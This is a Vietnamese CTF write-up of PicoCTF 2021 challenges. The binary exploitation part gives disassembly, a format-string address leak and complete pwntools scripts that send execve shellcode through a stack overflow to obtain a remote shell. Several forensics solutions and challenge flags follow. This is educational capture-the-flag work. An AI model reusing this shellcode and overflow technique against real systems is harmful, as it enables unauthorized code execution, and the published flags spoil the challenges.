0x0000000000400687 <+0>:  push   rbp0x0000000000400688 <+1>:  mov    rbp,rsp0x000000000040068b <+4>:  add    rsp,0xffffffffffffff800x000000000040068f <+8>:  mov    DWORD PTR [rbp-0x74],edi0x0000000000400692 <+11>: mov    QWORD PTR [rbp-0x80],rsi0x0000000000400696 <+15>: mov    edi,0x3e80x000000000040069b <+20>: call   0x400580 <malloc@plt>0x00000000004006a0 <+25>: mov    QWORD PTR [rbp-0x8],rax0x00000000004006a4 <+29>: lea    rax,[rbp-0x70]0x00000000004006a8 <+33>: mov    rsi,rax0x00000000004006ab <+36>: lea    rdi,[rip+0x122]        # 0x4007d40x00000000004006b2 <+43>: mov    eax,0x00x00000000004006b7 <+48>: call   0x400560 <printf@plt>0x00000000004006bc <+53>: mov    rax,QWORD PTR [rip+0x20098d]        # 0x601050 <stdout@@GLIBC_2.2.5>0x00000000004006c3 <+60>: mov    rdi,rax0x00000000004006c6 <+63>: call   0x400590 <fflush@plt>0x00000000004006cb <+68>: mov    rdx,QWORD PTR [rip+0x20098e]        # 0x601060 <stdin@@GLIBC_2.2.5>0x00000000004006d2 <+75>: mov    rax,QWORD PTR [rbp-0x8]0x00000000004006d6 <+79>: mov    esi,0x3e80x00000000004006db <+84>: mov    rdi,rax0x00000000004006de <+87>: call   0x400570 <fgets@plt>0x00000000004006e3 <+92>: mov    rax,QWORD PTR [rbp-0x8]0x00000000004006e7 <+96>: add    rax,0x3e70x00000000004006ed <+102>:    mov    BYTE PTR [rax],0x00x00000000004006f0 <+105>:    mov    rax,QWORD PTR [rbp-0x8]0x00000000004006f4 <+109>:    mov    rdi,rax0x00000000004006f7 <+112>:    mov    eax,0x00x00000000004006fc <+117>:    call   0x400560 <printf@plt>0x0000000000400701 <+122>:    mov    rax,QWORD PTR [rip+0x200948]        # 0x601050 <stdout@@GLIBC_2.2.5>0x0000000000400708 <+129>:    mov    rdi,rax0x000000000040070b <+132>:    call   0x400590 <fflush@plt>0x0000000000400710 <+137>:    mov    rdx,QWORD PTR [rip+0x200949]        # 0x601060 <stdin@@GLIBC_2.2.5>0x0000000000400717 <+144>:    mov    rax,QWORD PTR [rbp-0x8]0x000000000040071b <+148>:    mov    esi,0x3e80x0000000000400720 <+153>:    mov    rdi,rax0x0000000000400723 <+156>:    call   0x400570 <fgets@plt>0x0000000000400728 <+161>:    mov    rax,QWORD PTR [rbp-0x8]0x000000000040072c <+165>:    add    rax,0x3e70x0000000000400732 <+171>:    mov    BYTE PTR [rax],0x00x0000000000400735 <+174>:    mov    rdx,QWORD PTR [rbp-0x8]0x0000000000400739 <+178>:    lea    rax,[rbp-0x70]0x000000000040073d <+182>:    mov    rsi,rdx0x0000000000400740 <+185>:    mov    rdi,rax0x0000000000400743 <+188>:    call   0x400550 <strcpy@plt>0x0000000000400748 <+193>:    mov    eax,0x00x000000000040074d <+198>:    leave  0x000000000040074e <+199>:    ret  

Biến local_78 nằm tại [rbp - 0x70]. Chúng ta cần 0x80 bytes để ghi đè return address. Payload của ta sẽ có dạng "shellcode + padding * (0x78 - độ dài shellcode) + địa chỉ biến local_78"

Exploit

from pwn import *context.binary = ELF("./gauntlet")run = remote("mercury.picoctf.net", 13644)addr = run.recvline()run.sendline("Pwned")addr = int(addr, 16)payload = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'payload += b'A' * (0x78 - len(payload))payload += p64(addr)run.sendline(payload)run.interactive()

Output

[*] '/home/revirven/Desktop/GitHub/CTF-Writeups/PicoCTF-2021/Binary-Exploitation/Binary-Gauntlet-1/gauntlet'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX disabled    PIE:      No PIE (0x400000)    RWX:      Has RWX segments[+] Opening connection to mercury.picoctf.net on port 13644: Done[*] Switching to interactive modePwned$ cat flag.txt66fa43e73fc405235d4d2aa9da1b257f

-Binary Gauntlet 2

Tham khảo binay gaunlet 1

Kiểm tra file

file

gauntlet: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2335fe540c6db20a6fba7947a73b044afebe221b, not stripped

checksec

Arch:     amd64-64-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX disabledPIE:      No PIE (0x400000)RWX:      Has RWX segments

Decompile & Disassemble

Decompile main

undefined8 main(void){  char local_78 [104];  char *local_10;  local_10 = (char *)malloc(1000);  fgets(local_10,1000,stdin);  local_10[999] = '\0';  printf(local_10);  fflush(stdout);  fgets(local_10,1000,stdin);  local_10[999] = '\0';  strcpy(local_78,local_10);  return 0;}

Lần này chúng ta không được cung cấp địa chỉ của biến nữa. Ta cũng được cho biết rằng ASLR sẽ được bật ở host. Vì vậy ta phải tự leak lấy địa chỉ của biến để return về.

Còn nhớ về lỗi Format String mà tôi nhắc đến ở binary gauntlet 0 chứ ? Bây giờ chúng ta sẽ tận dụng nó.

Đôi chút về Format String ở x64

Khi truyền đối số vào hàm, các đối số từ 0 -> 5 sẽ được chứa trong các thanh ghi lần lượt là RDI, RSI, RDX, RCX, R8, R9, đối số thứ 6 trở đi sẽ được đưa vào stack. Vậy tại fgets đầu tiên, nếu ta nhập vào "%p %p %p %p %p %p" thì printf đầu tiên sẽ in ra màn hình lần lượt là nội dung thanh ghi RSI, RDX, RCX, R8, R9 rồi đến nội dung của ô nhớ trên stack ngay bên trên return address của hàm printf (Nội dung thanh ghi RDI không được in ra vì nó chứa chuỗi định dạng). Bằng cách này ta có thể đọc được bất kì ô nhớ nào trên stack mà ta muốn, ta chỉ việc tìm offset từ hàm printf đến nơi mà ta muốn đọc vì stack cũng chỉ là 1 dãy các ô nhớ liên tiếp với nhau.

Trên stack cũng chứa đầy những con trỏ trỏ đến một ô nhớ nào đó trên stack, tức là một ô nhớ chứa địa chỉ của một ô nhớ khác trên stack (Sound confusing eh ?). Debug chương trình và đặt breakpoint tại hàm main ta sẽ thấy được điều này

gef➤  x/20gx $rbp0x7fffffffde40: 0x0000000000000000  0x00007ffff7deb0b30x7fffffffde50: 0x00007ffff7ffc620  0x00007fffffffdf380x7fffffffde60: 0x0000000100000000  0x00000000004006870x7fffffffde70: 0x0000000000400730  0xab124923a67f8c7e0x7fffffffde80: 0x00000000004005a0  0x00007fffffffdf300x7fffffffde90: 0x0000000000000000  0x00000000000000000x7fffffffdea0: 0x54edb6dc1adf8c7e  0x54eda69ec6b18c7e0x7fffffffdeb0: 0x0000000000000000  0x00000000000000000x7fffffffdec0: 0x0000000000000000  0x00000000000000010x7fffffffded0: 0x00007fffffffdf38  0x00007fffffffdf48

2 ô nhớ cuối cùng được in ra đang chứa địa chỉ của 2 ô nhớ trên stack

0x7fffffffded0: 0x00007fffffffdf38  0x00007fffffffdf48

Vì ở host ASLR sẽ được bật, nên ta sẽ bật ASLR và debug lại chương trình

gef➤  x/20gx $rbp0x7ffd53335f90: 0x0000000000000000  0x00007f1eed7ba0b30x7ffd53335fa0: 0x00007f1eed9c5620  0x00007ffd533360880x7ffd53335fb0: 0x0000000100000000  0x00000000004006870x7ffd53335fc0: 0x0000000000400730  0x9cb5dd652d089fe90x7ffd53335fd0: 0x00000000004005a0  0x00007ffd533360800x7ffd53335fe0: 0x0000000000000000  0x00000000000000000x7ffd53335ff0: 0x634f7b0392489fe9  0x628807926dc69fe90x7ffd53336000: 0x0000000000000000  0x00000000000000000x7ffd53336010: 0x0000000000000000  0x00000000000000010x7ffd53336020: 0x00007ffd53336088  0x00007ffd53336098

Để ý rằng các địa chỉ đã thay đổi, nhưng offset giữa những ô nhớ thì vẫn giữ nguyên

0x7fffffffded0: 0x00007fffffffdf38  0x00007fffffffdf48

-> 0x00007fffffffdf48 - 0x00007fffffffdf38 = 0x10

0x7ffd53336020: 0x00007ffd53336088  0x00007ffd53336098

-> 0x00007ffd53336098 - 0x00007ffd53336088 = 0x10

Vậy ta chỉ việc leak 1 địa chỉ nào đó trên stack, sau đó tìm offset giữa địa chỉ đó và địa chỉ của biến local_78 và ta sẽ có được địa chỉ để return về.

Ta sẽ tắt ASLR và chạy lại chương trình. Ta thử nhập 10 "%p" vào fgets đầu tiên xem chúng ta sẽ nhận được những gì

%p %p %p %p %p %p %p %p %p %p0x602691 (nil) 0x6026ae 0x6022a0 0x7c 0x7fffffffdf38 0x100000000 (nil) (nil) 0x400040

Ta thấy tại "%p" thứ 6 là địa chỉ của 1 ô nhớ trên stack. Ta có thể sử dụng địa chỉ này để tính toán offset đến biến local_78. Có thể dùng "%6$p" để chỉ lấy giá trị tại "%p" thứ 6.

Ta nhập 1 đống chữ A vào fgets thứ 2 để tìm vị trí biến local_78

gef➤  x/20gx $rsp0x7fffffffddc0: 0x00007fffffffdf38  0x00000001000000000x7fffffffddd0: 0x4141414141414141  0x41414141414141410x7fffffffdde0: 0x4141414141414141  0x41414141414141410x7fffffffddf0: 0x4141414141414141  0x41414141414141410x7fffffffde00: 0x4141414141414141  0x41414141414141410x7fffffffde10: 0x4141414141414141  0x41414141414141410x7fffffffde20: 0x4141414141414141  0x00000a41414141410x7fffffffde30: 0x00007fffffffdf30  0x00000000006022a00x7fffffffde40: 0x0000000000000000  0x00007ffff7deb0b30x7fffffffde50: 0x00007ffff7ffc620  0x00007fffffffdf38

Biến local_78 bắt đầu từ 0x7fffffffddd0. Offset = 0x7fffffffdf38 - 0x7fffffffddd0 = 0x168

Disassemble main

0x0000000000400687 <+0>:   push   rbp0x0000000000400688 <+1>:   mov    rbp,rsp0x000000000040068b <+4>:   add    rsp,0xffffffffffffff800x000000000040068f <+8>:   mov    DWORD PTR [rbp-0x74],edi0x0000000000400692 <+11>:  mov    QWORD PTR [rbp-0x80],rsi0x0000000000400696 <+15>:  mov    edi,0x3e80x000000000040069b <+20>:  call   0x400580 <malloc@plt>0x00000000004006a0 <+25>:  mov    QWORD PTR [rbp-0x8],rax0x00000000004006a4 <+29>:  mov    rdx,QWORD PTR [rip+0x2009b5]        # 0x601060 <stdin@@GLIBC_2.2.5>0x00000000004006ab <+36>:  mov    rax,QWORD PTR [rbp-0x8]0x00000000004006af <+40>:  mov    esi,0x3e80x00000000004006b4 <+45>:  mov    rdi,rax0x00000000004006b7 <+48>:  call   0x400570 <fgets@plt>0x00000000004006bc <+53>:  mov    rax,QWORD PTR [rbp-0x8]0x00000000004006c0 <+57>:  add    rax,0x3e70x00000000004006c6 <+63>:  mov    BYTE PTR [rax],0x00x00000000004006c9 <+66>:  mov    rax,QWORD PTR [rbp-0x8]0x00000000004006cd <+70>:  mov    rdi,rax0x00000000004006d0 <+73>:  mov    eax,0x00x00000000004006d5 <+78>:  call   0x400560 <printf@plt>0x00000000004006da <+83>:  mov    rax,QWORD PTR [rip+0x20096f]        # 0x601050 <stdout@@GLIBC_2.2.5>0x00000000004006e1 <+90>:  mov    rdi,rax0x00000000004006e4 <+93>:  call   0x400590 <fflush@plt>0x00000000004006e9 <+98>:  mov    rdx,QWORD PTR [rip+0x200970]        # 0x601060 <stdin@@GLIBC_2.2.5>0x00000000004006f0 <+105>: mov    rax,QWORD PTR [rbp-0x8]0x00000000004006f4 <+109>: mov    esi,0x3e80x00000000004006f9 <+114>: mov    rdi,rax0x00000000004006fc <+117>: call   0x400570 <fgets@plt>0x0000000000400701 <+122>: mov    rax,QWORD PTR [rbp-0x8]0x0000000000400705 <+126>: add    rax,0x3e70x000000000040070b <+132>: mov    BYTE PTR [rax],0x00x000000000040070e <+135>: mov    rdx,QWORD PTR [rbp-0x8]0x0000000000400712 <+139>: lea    rax,[rbp-0x70]0x0000000000400716 <+143>: mov    rsi,rdx0x0000000000400719 <+146>: mov    rdi,rax0x000000000040071c <+149>: call   0x400550 <strcpy@plt>0x0000000000400721 <+154>: mov    eax,0x00x0000000000400726 <+159>: leave  0x0000000000400727 <+160>: ret    

Từ local_78 đến return address của main0x78 bytes.

Exploit

Local

from pwn import *context.binary = ELF("./gauntlet")run = process("./gauntlet")run.sendline("%6$p")leaked = int(run.recv().strip(), 16)buf = leaked - 0x168payload = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"payload += b'A' * (0x78 - len(payload))payload += p64(buf)run.sendline(payload)run.interactive()

Local output

[*] '/home/revirven/Desktop/GitHub/CTF-Writeups/PicoCTF-2021/Binary-Exploitation/Binary-Gauntlet-2/gauntlet'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX disabled    PIE:      No PIE (0x400000)    RWX:      Has RWX segments[+] Starting local process './gauntlet': pid 3560[*] Switching to interactive mode$ whoamirevirven$  

Offset ở remote target system sẽ có chút khác biệt so với local (Offset từ địa chỉ bị leak đến local_780x158 thay vì 0x168)

Remote

from pwn import *context.binary = ELF("./gauntlet")run = remote("mercury.picoctf.net", 4349)run.sendline("%6$p")leaked = int(run.recv().strip(), 16)buf = leaked - 0x158payload = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"payload += b'A' * (0x78 - len(payload))payload += p64(buf)run.sendline(payload)run.interactive()

Remote output

[*] '/home/revirven/Desktop/GitHub/CTF-Writeups/PicoCTF-2021/Binary-Exploitation/Binary-Gauntlet-2/gauntlet'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX disabled    PIE:      No PIE (0x400000)    RWX:      Has RWX segments[+] Opening connection to mercury.picoctf.net on port 4349: Done[*] Switching to interactive mode$ cat flag.txtbcf25d0f5d43dc2d9a40016f9d261819$

shawking ... lười ....



*FORENSICS>

Stirring

-1. Information

164434195_123326646427510_4274251146342551561_n

download (8)

-2. Matryoshka doll

164822421_862938537588742_559715876628647739_n

164708049_814501092611206_8643528878716042788_n

164495850_259303822527100_6687462875972873333_n

So we got the flag: picoCTF{e3f378fe6c1ea7f6bc5ac2c3d6801c1f}

-3. Tunn3l v1s10n

165618266_1901895733290813_6695979576279454617_n

165558825_3649769611800628_8677898799086586756_n

42 4D 3E 07 00 00 00 00 00 00 36 00 00 00 28 00 00 00 6E 04 00 00 32 01 00 00 01 00 18 00 00 00

Vì đã thử nâng từ 32 01 ->> 32 02 và bức ảnh đã hiện ra thêm :D

164064190_520478316012426_6514811059129697675_n

Tiếp thôi 32 02 -> 32 03

download (11)

So we got the flag: picoCTF{qu1t3_a_v13w_2020}

-4. Wireshark doo dooo do doo...

shark1.zip

164688110_301630531515610_875587652764779898_n

download

168911334_732651690949977_2141637927140596849_n

Gur synt vf cvpbPGS{c33xno00_1_f33_h_qrnqorrs}

167127681_730852357587066_5881762056687373651_n

So we got the flag :D

-5. Trivial Flag Transfer Protocol

168837760_436928107595325_5013312693557380805_n

169297543_473903980714668_6282967211736740508_n

download (1)

167157233_460315035422327_5401500803605554920_n

TFTP DOESNT ENCRYPT OUR TRAFFIC SO WE MUST DISGUISEOUR FLAG TRANSFER. FIGURE OUT AWAY TO HIDE THE FLAG AND I WILL CHECK BACK FOR THE PLAN   I USED THE PROGRAM AND HID IT WITH -DUEDILIGENCE. CHECK OUT THE PHOTOS

170066167_2927712374140759_3640017285400063701_n

So we got the flag

-6. Wireshark twoo twooo two twoo...

Hint1: Did you really find the flag?Hint2: Look for traffic that seems suspicious.[shark2.pcapng]()

168821344_959773858208974_7624007569779743192_n

168950366_778626423072533_4084078386040631460_n

download (2)

 cGljb0NU.reddshrimpandherring.com      RnTkbnNf.reddshrimpandherring.com      M3hmMWxf.reddshrimpandherring.com      ZnR3X2Rl.reddshrimpandherring.com      YWRiZWVm.reddshrimpandherring.com

-7. MacroHard WeakEdge

Forensics is fun

169148315_5377732578965822_2297541516591196728_n

kali㉿kali)-[~/Desktop]└─$ file Forensics\ is\ fun.pptm Forensics is fun.pptm: Microsoft PowerPoint 2007+┌──(kali㉿kali)-[~/Desktop]└─$ unzip Forensics\ is\ fun.pptm                          Archive:  Forensics is fun.pptm  inflating: [Content_Types].xml       inflating: _rels/.rels               inflating: ppt/presentation.xml      inflating: ppt/slides/_rels/slide46.xml.rels    inflating: ppt/slides/slide1.xml     inflating: ppt/slides/slide2.xml     inflating: ppt/slides/slide3.xml     inflating: ppt/slides/slide4.xml     inflating: ppt/slides/slide5.xml     inflating: ppt/slides/slide6.xml     inflating: ppt/slides/slide7.xml     inflating: ppt/slides/slide8.xml     inflating: ppt/slides/slide9.xml     inflating: ppt/slides/slide10.xml    inflating: ppt/slides/slide11.xml    inflating: ppt/slides/slide12.xml    inflating: ppt/slides/slide13.xml    inflating: ppt/slides/slide14.xml    inflating: ppt/slides/slide15.xml    inflating: ppt/slides/slide16.xml    inflating: ppt/slides/slide17.xml    inflating: ppt/slides/slide18.xml    inflating: ppt/slides/slide19.xml    inflating: ppt/slides/slide20.xml    inflating: ppt/slides/slide21.xml    inflating: ppt/slides/slide22.xml    inflating: ppt/slides/slide23.xml    inflating: ppt/slides/slide24.xml    inflating: ppt/slides/slide25.xml    inflating: ppt/slides/slide26.xml    inflating: ppt/slides/slide27.xml    inflating: ppt/slides/slide28.xml    inflating: ppt/slides/slide29.xml    inflating: ppt/slides/slide30.xml    inflating: ppt/slides/slide31.xml    inflating: ppt/slides/slide32.xml    inflating: ppt/slides/slide33.xml    inflating: ppt/slides/slide34.xml    inflating: ppt/slides/slide35.xml    inflating: ppt/slides/slide36.xml    inflating: ppt/slides/slide37.xml    inflating: ppt/slides/slide38.xml    inflating: ppt/slides/slide39.xml    inflating: ppt/slides/slide40.xml    inflating: ppt/slides/slide41.xml    inflating: ppt/slides/slide42.xml    inflating: ppt/slides/slide43.xml    inflating: ppt/slides/slide44.xml    inflating: ppt/slides/slide45.xml    inflating: ppt/slides/slide46.xml    inflating: ppt/slides/slide47.xml    inflating: ppt/slides/slide48.xml    inflating: ppt/slides/slide49.xml    inflating: ppt/slides/slide50.xml    inflating: ppt/slides/slide51.xml    inflating: ppt/slides/slide52.xml    inflating: ppt/slides/slide53.xml    inflating: ppt/slides/slide54.xml    inflating: ppt/slides/slide55.xml    inflating: ppt/slides/slide56.xml    inflating: ppt/slides/slide57.xml    inflating: ppt/slides/slide58.xml    inflating: ppt/slides/_rels/slide47.xml.rels    inflating: ppt/slides/_rels/slide48.xml.rels    inflating: ppt/slides/_rels/slide49.xml.rels    inflating: ppt/slides/_rels/slide50.xml.rels    inflating: ppt/slides/_rels/slide32.xml.rels    inflating: ppt/slides/_rels/slide52.xml.rels    inflating: ppt/slides/_rels/slide53.xml.rels    inflating: ppt/slides/_rels/slide54.xml.rels    inflating: ppt/slides/_rels/slide55.xml.rels    inflating: ppt/slides/_rels/slide56.xml.rels    inflating: ppt/slides/_rels/slide57.xml.rels    inflating: ppt/slides/_rels/slide58.xml.rels    inflating: ppt/slides/_rels/slide51.xml.rels    inflating: ppt/slides/_rels/slide13.xml.rels    inflating: ppt/_rels/presentation.xml.rels    inflating: ppt/slides/_rels/slide1.xml.rels    inflating: ppt/slides/_rels/slide2.xml.rels    inflating: ppt/slides/_rels/slide3.xml.rels    inflating: ppt/slides/_rels/slide4.xml.rels    inflating: ppt/slides/_rels/slide5.xml.rels    inflating: ppt/slides/_rels/slide6.xml.rels    inflating: ppt/slides/_rels/slide7.xml.rels    inflating: ppt/slides/_rels/slide8.xml.rels    inflating: ppt/slides/_rels/slide9.xml.rels    inflating: ppt/slides/_rels/slide10.xml.rels    inflating: ppt/slides/_rels/slide11.xml.rels    inflating: ppt/slides/_rels/slide12.xml.rels    inflating: ppt/slides/_rels/slide14.xml.rels    inflating: ppt/slides/_rels/slide15.xml.rels    inflating: ppt/slides/_rels/slide16.xml.rels    inflating: ppt/slides/_rels/slide17.xml.rels    inflating: ppt/slides/_rels/slide18.xml.rels    inflating: ppt/slides/_rels/slide19.xml.rels    inflating: ppt/slides/_rels/slide20.xml.rels    inflating: ppt/slides/_rels/slide21.xml.rels    inflating: ppt/slides/_rels/slide22.xml.rels    inflating: ppt/slides/_rels/slide23.xml.rels    inflating: ppt/slides/_rels/slide24.xml.rels    inflating: ppt/slides/_rels/slide25.xml.rels    inflating: ppt/slides/_rels/slide26.xml.rels    inflating: ppt/slides/_rels/slide27.xml.rels    inflating: ppt/slides/_rels/slide28.xml.rels    inflating: ppt/slides/_rels/slide29.xml.rels    inflating: ppt/slides/_rels/slide30.xml.rels    inflating: ppt/slides/_rels/slide31.xml.rels    inflating: ppt/slides/_rels/slide33.xml.rels    inflating: ppt/slides/_rels/slide34.xml.rels    inflating: ppt/slides/_rels/slide35.xml.rels    inflating: ppt/slides/_rels/slide36.xml.rels    inflating: ppt/slides/_rels/slide37.xml.rels    inflating: ppt/slides/_rels/slide38.xml.rels    inflating: ppt/slides/_rels/slide39.xml.rels    inflating: ppt/slides/_rels/slide40.xml.rels    inflating: ppt/slides/_rels/slide41.xml.rels    inflating: ppt/slides/_rels/slide42.xml.rels    inflating: ppt/slides/_rels/slide43.xml.rels    inflating: ppt/slides/_rels/slide44.xml.rels    inflating: ppt/slides/_rels/slide45.xml.rels    inflating: ppt/slideMasters/slideMaster1.xml    inflating: ppt/slideLayouts/slideLayout1.xml    inflating: ppt/slideLayouts/slideLayout2.xml    inflating: ppt/slideLayouts/slideLayout3.xml    inflating: ppt/slideLayouts/slideLayout4.xml    inflating: ppt/slideLayouts/slideLayout5.xml    inflating: ppt/slideLayouts/slideLayout6.xml    inflating: ppt/slideLayouts/slideLayout7.xml    inflating: ppt/slideLayouts/slideLayout8.xml    inflating: ppt/slideLayouts/slideLayout9.xml    inflating: ppt/slideLayouts/slideLayout10.xml    inflating: ppt/slideLayouts/slideLayout11.xml    inflating: ppt/slideMasters/_rels/slideMaster1.xml.rels    inflating: ppt/slideLayouts/_rels/slideLayout1.xml.rels    inflating: ppt/slideLayouts/_rels/slideLayout2.xml.rels    inflating: ppt/slideLayouts/_rels/slideLayout3.xml.rels    inflating: ppt/slideLayouts/_rels/slideLayout4.xml.rels    inflating: ppt/slideLayouts/_rels/slideLayout5.xml.rels    inflating: ppt/slideLayouts/_rels/slideLayout6.xml.rels    inflating: ppt/slideLayouts/_rels/slideLayout7.xml.rels    inflating: ppt/slideLayouts/_rels/slideLayout8.xml.rels    inflating: ppt/slideLayouts/_rels/slideLayout9.xml.rels    inflating: ppt/slideLayouts/_rels/slideLayout10.xml.rels    inflating: ppt/slideLayouts/_rels/slideLayout11.xml.rels    inflating: ppt/theme/theme1.xml     extracting: docProps/thumbnail.jpeg    inflating: ppt/vbaProject.bin        inflating: ppt/presProps.xml         inflating: ppt/viewProps.xml         inflating: ppt/tableStyles.xml       inflating: docProps/core.xml         inflating: docProps/app.xml          inflating: ppt/slideMasters/hidden  

hint: 1.Have you ever used file to determine what a file was?2.Relevant terminal-fu in picoGym: https://play.picoctf.org/practice/challenge/853.Mastering this terminal-fu would enable you to find the flag in a single command: https://play.picoctf.org/practice/challenge/484.Using your own computer, you could use qemu to boot from this disk!

171704512_450224019375708_2686701168749791738_n

So we got the flag:

-9. Disk, disk, sleuth! II

hint: 1.The sleuthkit has some great tools for this challenge as well.2.Sleuthkit docs here are so helpful: TSK Tool Overview3.This disk can also be booted with qemu!

170290969_1827711787407617_7564603466930732663_n

So we got the flag:

-10. MilkSlap

hint: Look at the problem category

170680396_295053755557520_6097964404318094558_n

-11. Sufing the Waves

hint: Music is cool, but what other kinds of waves are there?hint: Look deep below the surface

image

┌──(kali㉿kali)-[~/Desktop]└─$ python3 waves.py                       #!/usr/bin/env python3import numpy as npfrom scipy.io.wavfile import writefrom binascii import hexlifyfrom random import randomwith open('generate_wav.py', 'rb') as f:        content = f.read()        f.close()# Convert this program into an array of hex valueshex_stuff = (list(hexlify(content).decode("utf-8")))# Loop through the each character, and convert the hex a-f characters to 10-15for i in range(len(hex_stuff)):        if hex_stuff[i] == 'a':                hex_stuff[i] = 10        elif hex_stuff[i] == 'b':                hex_stuff[i] = 11        elif hex_stuff[i] == 'c':                hex_stuff[i] = 12        elif hex_stuff[i] == 'd':                hex_stuff[i] = 13        elif hex_stuff[i] == 'e':                hex_stuff[i] = 14        elif hex_stuff[i] == 'f':                hex_stuff[i] = 15        # To make the program actually audible, 100 hertz is added from the beginning, then the number is multiplied by        # 500 hertz        # Plus a cheeky random amount of noise        hex_stuff[i] = 1000 + int(hex_stuff[i]) * 500 + (10 * random())def sound_generation(name, rand_hex):        # The hex array is converted to a 16 bit integer array        scaled = np.int16(np.array(hex_stuff))        # Sci Pi then writes the numpy array into a wav file        write(name, len(hex_stuff), scaled)        randomness = rand_hex# Pump up the music!# print("Generating main.wav...")# sound_generation('main.wav')# print("Generation complete!")# Your ears have been blessed# picoCTF{mU21C_1s_1337_6a936af2}

So we got the flag

-12. Very very very Hidden

image

image

Yeah we have 2 duck.pngfavicon.ico chỉ là iconNothingSus chắc là nothing thôi.The %5c one is empty

Cám ơn mọi người đã xem!

TIN LIÊN QUAN
WannaGame Weekly UTCTF, ångstromCTF, Grey Cat The Flag, ImaginaryCTF, SekaiCTF, Downunder CTF, TeamItaly CTF, CTFZone, Asis Final, SEETF, Bauhinia... UIT Honor dice, Real World, bi0s, Seccon, pbctf, Kalmarctf, hxp, Plaid, m-leCon, HackTM, p4ctf, justCTF, codegate, Google, zer0pts, Defcon, HITCON, Hack.lu, N1CTF, Brics+, 0CTF/TCTF, Balsn, RuCTF (AD), FAUST (AD), saarCTF (AD)......
✨ Bạn là sinh viên mới vào trường, bạn có niềm đam mê đặc biệt đối với bảo mật và an ninh mạng, bạn muốn thử sức mình với những thử thách khó nhằn, vậy thì đây là cuộc thi dành cho bạn. 🔥 𝐖𝐀𝐍𝐍𝐀𝐆𝐀𝐌𝐄 𝐅𝐑𝐄𝐒𝐇𝐌𝐀𝐍 𝟐𝟎𝟐𝟑 là một cuộc...
Chào các bạn yêu thích nghiên cứu và công nghệ thông tin! Sau sự thành công của WannaResearch Episode 06, chúng tôi xin trân trọng thông báo về sự trở lại của chuỗi sự kiện nghiên cứu uy tín với Episode 07: "Audio Deepfake Detection." Buổi seminar này sẽ mang...